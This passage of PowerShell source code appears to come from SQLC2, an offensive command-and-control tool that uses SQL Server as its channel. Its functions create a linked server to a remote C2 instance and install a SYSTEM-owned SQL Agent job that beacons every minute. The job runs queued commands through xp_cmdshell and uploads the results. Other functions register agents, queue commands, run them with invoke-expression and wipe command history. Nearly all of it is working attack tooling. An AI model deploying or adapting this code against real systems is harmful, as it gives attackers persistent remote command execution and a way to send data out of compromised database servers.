C2 table on C2 SQL Server.')] [string]$C2Database, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } # Test connection if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # ---------------------------- # Create SQL Server link # ---------------------------- # Generate random name for server link - needs to be random $RandomLink = "SQLC2Server" # Create SQL Server link query $Query = " -- Create Server Link C2 Server IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 0 EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLink', @srvproduct=N'', @provider=N'SQLNCLI', @datasrc=N'$C2Instance', @catalog=N'$C2Database' -- Associate credentials with the server link IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink', @useself=N'False', @locallogin=NULL, @rmtuser=N'$C2Username', @rmtpassword='$C2Password' -- Configure the server link IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'data access', @optvalue=N'true' --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc', @optvalue=N'true' --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc out', @optvalue=N'true' -- Verify addition of link IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 SELECT 1 ELSE SELECT 0 " # Run Query Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance " $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 # Verify link addition if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1) { Write-Verbose "$instance : Confirmed server link named $RandomLink was added." }else{ Write-Verbose "$instance : The server link could not be created." return } # ------------------------------- # Create SQL Server Agent Job # ------------------------------- # Generate random name for the SQL Agent Job Write-Verbose "$instance : Creating SQL Agent Job on $Instance." Write-Verbose "$instance : The agent will beacon to $C2Instance every minute." # Create SQL Server agent job $Query = " /****** Object: Job [SQLC2 Agent Job] Script Date: 5/21/2018 12:23:40 PM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/21/2018 12:23:40 PM ******/ IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=0, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback /****** Object: Step [Run command] Script Date: 5/21/2018 12:23:40 PM ******/ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'TSQL', @command=N' -- Query server link - Register the agent IF not Exists (SELECT * FROM [$RandomLink].$C2Database.dbo.C2Agents WHERE servername = (select @@SERVERNAME)) INSERT [$RandomLink].$C2Database.dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'') ELSE UPDATE [$RandomLink].$C2Database.dbo.C2Agents SET lastcheckin = (select GETDATE ()) WHERE servername like (select @@SERVERNAME) -- Get the pending commands for this server from the C2 SQL Server DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000)) INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [$RandomLink].$C2Database.dbo.C2Commands WHERE status like ''pending'' and servername like @@servername -- Run all the command for this server WHILE (SELECT count(*) FROM @output) > 0 BEGIN -- Setup variables DECLARE @CurrentCid varchar (8000) -- current cid DECLARE @CurrentCmd varchar (8000) -- current command DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table DECLARE @result varchar(8000) -- xp_cmdshell output value -- Get first command in the list - need to add cid SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output) SELECT @CurrentCid as cid SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output) SELECT @CurrentCmd as command -- Run the command - not command output break when multiline - need fix, and add cid INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd SET @result = (select top 1 result from @xpoutput) select @result as result -- Upload results to C2 SQL Server - need to add cid Update [$RandomLink].$C2Database.dbo.C2Commands set result = @result, status=''success'' WHERE servername like @@SERVERNAME and cid like @CurrentCid -- Clear the command result history DELETE FROM @xpoutput -- Remove first command DELETE TOP (1) FROM @output END', @database_name=N'master', @flags=0 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule', @enabled=1, @freq_type=4, @freq_interval=1, @freq_subday_type=4, @freq_subday_interval=1, @freq_relative_interval=0, @freq_recurrence_factor=0, @active_start_date=20180521, @active_end_date=99991231, @active_start_time=0, @active_end_time=235959, @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION GOTO EndSave QuitWithRollback: IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION EndSave: -- Script: Get-AgentJob.sql -- Description: Return a list of agent jobs. -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER], job.job_id as [JOB_ID], name as [JOB_NAME], description as [JOB_DESCRIPTION], step_name, command, enabled, server, database_name, date_created FROM [msdb].[dbo].[sysjobs] job INNER JOIN [msdb].[dbo].[sysjobsteps] steps ON job.job_id = steps.job_id WHERE name like 'SQLC2 Agent Job' ORDER BY JOB_OWNER,JOB_NAME" # Run Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 # Verify job was added if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1) { Write-Verbose "$instance : Confirmed the job named 'SQLC2 Agent Job' was added." }else{ Write-Verbose "$instance : The agent job could not be created or already exists." Write-Verbose "$instance : You will have to remove the SQL Server link 'SQLC2Server." return } Write-Verbose "$instance : Done." } End { # Return data # $TblResults } } # ---------------------------------- # Register-SQLC2Agent # ---------------------------------- # Author: Scott Sutherland Function Register-SQLC2Agent { <# .SYNOPSIS This command should be run on the c2 agent system so it can send a keep alive to the server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Table Table name to that contains target column. .PARAMETER Column Column that contains the TSQL command to run. .EXAMPLE PS C:\> Register-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 PS C:\> Register-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblDatabases = New-Object -TypeName System.Data.DataTable $null = $TblDatabases.Columns.Add('ServerName') $null = $TblDatabases.Columns.Add('Command') $null = $TblDatabases.Columns.Add('Status') } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query to grab commands $Query = " -- checkin as agent IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME') INSERT dbo.C2Agents (servername,agentype) VALUES ('$env:COMPUTERNAME','PsProcess') ELSE UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ()) WHERE servername like '$env:COMPUTERNAME'" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in." } End { # Return data $TblResults } } # ---------------------------------- # Get-SQLC2Agent # ---------------------------------- # Author: Scott Sutherland Function Get-SQLC2Agent { <# .SYNOPSIS This command should be run against the C2 SQLserver and will return a list of agents. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Table Table name to that contains target column. .PARAMETER Column Column that contains the TSQL command to run. .EXAMPLE PS C:\> Get-SQLC2Agent-Instance "SQLServer1\STANDARDDEV2014" -Database database1 PS C:\> Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query to grab commands $Query = "SELECT * FROM dbo.c2agents" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose $AgentCount = $TblResults | measure | select count -ExpandProperty count Write-Verbose -Message "$Instance : $AgentCount agents were found registered." } End { # Return data $TblResults } } # ---------------------------------- # Set-SQLC2Command # ---------------------------------- # Author: Scott Sutherland Function Set-SQLC2Command { <# .SYNOPSIS This functions stores a command in the C2COMMAND table of the C2 SQL Server. This command should be run against the C2 SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName ServerName to run the command on. By default it is all nodes. .PARAMETER Command Command to run on the agent. .EXAMPLE PS C:\> Set-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Command 'whoami' -ServerName host1 PS C:\> Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 -Command 'whoami' -ServerName host1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'ServerName of the agent.')] [string]$ServerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Command to run on the agent.')] [string]$Command, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblDatabases = New-Object -TypeName System.Data.DataTable $null = $TblDatabases.Columns.Add('ServerName') $null = $TblDatabases.Columns.Add('Command') $null = $TblDatabases.Columns.Add('Status') } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } # Setup agent node filtering based on servername If(-not $ServerName){ $ServerName = "All" } # Test connection if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Command: $Command" } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Set command for single agent $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : Command added for $ServerName agent(s)." } End { # Return data $TblResults } } # ---------------------------------- # Get-SQLC2Command # ---------------------------------- # Author: Scott Sutherland Function Get-SQLC2Command { <# .SYNOPSIS This command gets a command from a table on a remote c2 SQL Server. This command should be run on the c2 agent system so it can pull down any commands the C2 server has for it to execute. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Execute Run all of the commands downloaded from the C2 server on the agent system. .EXAMPLE PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 .EXAMPLE PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Execute .EXAMPLE PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Execute commands from c2.')] [switch]$Execute, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Attempting to grab commands to execute." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Check in the server Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null # Setup query to grab commands $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults | measure | select count -ExpandProperty count Write-Verbose "$instance : $CommandCount commands were found for $env:COMPUTERNAME." } End { # Process command execution if($Execute){ # Loop through pending commands $TblResults | ForEach-Object { # Grab command $C2CommandId = $_.cid $C2Command = $_.command # Execute command Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId } }else{ # Return data $TblResults } } } # ---------------------------------- # Invoke-SQLC2Command # ---------------------------------- # Author: Scott Sutherland Function Invoke-SQLC2Command { <# .SYNOPSIS This command should be run on the agent system. It will execute a OS command locally and return the results to the C2 SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER Command The OS command to run. .EXAMPLE PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'The OS command to run.')] [string]$Command, [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'This is the unique command id provide from the server.')] [Int]$Cid, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable } Process { Write-Verbose "$env:COMPUTERNAME : Running command $Cid" Write-Verbose "$env:COMPUTERNAME : Command: $Command" # Run the command try{ $CommandResults = invoke-expression "$Command" Write-Verbose "$env:COMPUTERNAME : Command complete." $CommandStatus = "success" }catch{ Write-Verbose "$env:COMPUTERNAME : Command failed. Aborting." $CommandStatus = "failed" } # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Check in the server Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null # Setup query to grab commands Write-Verbose -Message "$Instance : Uploading command results to C2 server." $Query = " -- update command request from server UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command' WHERE CID like $Cid" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : Upload complete." } End { # Return data $TblResults } } # ---------------------------------- # Get-SQLC2Result # ---------------------------------- # Author: Scott Sutherland Function Get-SQLC2Result { <# .SYNOPSIS This function gets command results from the C2 SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName Filter by server name. .PARAMETER Cid Filter by command id. .PARAMETER Status Filter by status. .EXAMPLE PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Cid 1 PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Status "Success" PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName "Server1" PS C:\> Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Filter by server name.')] [string]$ServerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Filter by Status.')] [ValidateSet("pending","success","failed")] [string]$Status, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Filter by command ID.')] [string]$Cid, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable # Create ServerName filter if($ServerName){ $FilterServerName = "WHERE servername like '$ServerName'" }else{ $FilterServerName = "" } # Create Status filter if($Status){ $FilterStatus = "WHERE status like '$Status'" }else{ $FilterStatus = "" } # Create ServerName filter if($Cid){ $FilterCid = "WHERE cid like '$Cid'" }else{ $FilterCid = "" } } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Attempting to grab pending and processed commands." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query to grab commands $Query = " SELECT * FROM dbo.c2commands $FilterServerName $FilterStatus $FilterCid " # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults.row.count Write-Verbose "$instance : $CommandCount commands were found." } End { # Return data $TblResults } } # ---------------------------------- # Remove-SQLC2Command # ---------------------------------- # Author: Scott Sutherland Function Remove-SQLC2Command { <# .SYNOPSIS This command clears the command history on the remote c2 SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName Server name to clear command history for. .EXAMPLE PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 .EXAMPLE PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 .EXAMPLE PS C:\> Remove-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Server to clear command history for.')] [string]$ServerName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable if($ServerName){ $ServerFilter = "WHERE servername like '$ServerName'" }else{ $ServerFilter = "" } } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Attempting to clear command history from $Instance." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query to grab commands $Query = "DELETE FROM dbo.C2COMMANDS $ServerFilter" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End { Write-Verbose "$instance : Done." } } # ---------------------------------- 